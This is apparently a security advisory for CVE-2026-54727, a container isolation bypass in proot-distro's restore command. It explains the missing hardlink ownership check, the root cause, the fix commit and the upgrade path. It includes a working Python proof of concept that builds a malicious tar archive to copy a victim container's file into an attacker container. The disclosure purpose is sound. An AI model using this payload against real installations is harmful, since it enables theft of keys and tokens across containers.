CVE-2026-54727: proot-distro Container Isolation Bypass via Crafted Restore Archive
A crafted backup archive can trick proot-distro's restore command into copying files between separate containers, leaking secrets or injecting attacker-controlled files across container boundaries.

The problem
proot-distro's restore command extracts tar archives without checking whether a hardlink entry's source path belongs to the same container being restored. The linkname field in the archive is fully attacker-controlled, and the restore logic will happily resolve it into any other installed container's rootfs directory.
This breaks the isolation boundary between containers. An attacker who can get a user to run proot-distro restore on a malicious archive can read files from any other installed container (SSH keys, API tokens, database files) or write attacker-controlled content into them.
Proof of concept
A working proof-of-concept for CVE-2026-54727 in proot-distro, with the exact payload below.
python3 - <<'EOF'
import tarfile
# Build a crafted archive that hardlinks victim/rootfs/root/proof.txt
# into the attacker container as exfil/stolen_key.
tf = tarfile.open("malicious.tar", "w")
# Create destination directory inside the attacker container
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
# Hardlink source points at a DIFFERENT container (victim)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt" # cross-container source
h.mode = 0o600
tf.addfile(h)
tf.close()
EOF
# Trigger the bypass
proot-distro restore ./malicious.tar
# Read the victim's file from inside the attacker container
proot-distro run attacker -- cat /exfil/stolen_key
# Output: PROOF-12345 (contents of victim container's /root/proof.txt)The root cause is a missing container-identity check during hardlink processing in the restore path. The restore code correctly validates that the resolved linkname stays inside the proot-distro containers directory (preventing host path traversal), but it never verifies that the source container prefix in linkname matches the container currently being restored.
Archive-controlled metadata therefore determines which installed container is used as the copy source.
The CWE-669 (Incorrect Resource Transfer Between Spheres) classification fits precisely: data belonging to one container is transferred into another because the resource-ownership boundary is not enforced. The fix in commit 98aff324 adds a check that compares the container name parsed from linkname against the container currently being restored, and skips the entry if they differ.
The fix
Upgrade proot-distro to version 5.1.6. The patch (commit 98aff324b7d8500ff75a8ca9ac087ee636be4716) adds a container-identity check before resolving hardlink sources: if the container parsed from member.linkname does not match the container being restored, the entry is silently skipped.
No configuration change or workaround is available for older versions; the only safe remediation is upgrading.
Related research
- high · 8.2CVE-2026-54574CVE-2026-54574: proot-distro Symlink Escape via Malicious Tar Archive
- high · 8.2CVE-2026-54691CVE-2026-54691: datamodel-code-generator SSRF via --url
- high · 7.8CVE-2026-54654CVE-2026-54654: datamodel-code-generator Code Injection via Carriage Return in --extra-template-data comment
- high · 7.8CVE-2026-54655CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type